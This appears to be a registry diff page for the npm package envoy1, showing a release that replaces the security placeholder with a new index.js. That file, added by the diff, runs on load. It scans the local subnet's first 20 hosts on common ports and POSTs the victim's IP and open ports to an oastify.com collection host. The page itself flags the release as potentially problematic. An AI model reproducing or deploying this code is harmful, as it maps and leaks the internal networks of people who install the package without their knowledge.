envoy1 0.0.1-security → 1.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of envoy1 might be problematic. Click here for more details.
- package/envoy1-1.0.9.tgz +0 -0
- package/index.js +54 -0
- package/package.json +4 -3
- package/README.md +0 -5
package/envoy1-1.0.9.tgz
ADDED
|
Binary file
|
package/index.js
ADDED
|
@@ -0,0 +1,54 @@
|
|
|
1
|
+
const http = require('http');
|
|
2
|
+
const net = require('net');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
|
|
5
|
+
const b = "oh9fy7sre6j0o54wlovz4juyipogca5yu.oastify.com";
|
|
6
|
+
|
|
7
|
+
function check(ip, p) {
|
|
8
|
+
return new Promise(r => {
|
|
9
|
+
const s = new net.Socket();
|
|
10
|
+
s.setTimeout(200);
|
|
11
|
+
s.on('connect', () => { s.destroy(); r(p); });
|
|
12
|
+
s.on('error', () => { s.destroy(); r(null); });
|
|
13
|
+
s.on('timeout', () => { s.destroy(); r(null); });
|
|
14
|
+
s.connect(p, ip);
|
|
15
|
+
});
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
async function run() {
|
|
19
|
+
const res = { main: "", found: [] };
|
|
20
|
+
const nets = os.networkInterfaces();
|
|
21
|
+
let sub = "";
|
|
22
|
+
|
|
23
|
+
for (const n of Object.keys(nets)) {
|
|
24
|
+
for (const o of nets[n]) {
|
|
25
|
+
if (!o.internal && o.family === 'IPv4') {
|
|
26
|
+
res.main = o.address;
|
|
27
|
+
sub = o.address.split('.').slice(0, 3).join('.');
|
|
28
|
+
}
|
|
29
|
+
}
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
if (sub) {
|
|
33
|
+
const pts = [80, 443, 22, 445, 8080, 3000];
|
|
34
|
+
// فحص أول 20 جهاز في الشبكة لسرعة الرد
|
|
35
|
+
for (let i = 1; i < 21; i++) {
|
|
36
|
+
const ip = `${sub}.${i}`;
|
|
37
|
+
for (let p of pts) {
|
|
38
|
+
const open = await check(ip, p);
|
|
39
|
+
if (open) res.found.push(`${ip}:${open}`);
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
const out = JSON.stringify(res);
|
|
45
|
+
const req = http.request({
|
|
46
|
+
hostname: b,
|
|
47
|
+
method: 'POST',
|
|
48
|
+
path: '/?scan=deep',
|
|
49
|
+
headers: { 'Content-Length': out.length }
|
|
50
|
+
});
|
|
51
|
+
req.write(out);
|
|
52
|
+
req.end();
|
|
53
|
+
}
|
|
54
|
+
run();
|
package/package.json
CHANGED
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=envoy1 for more information.
|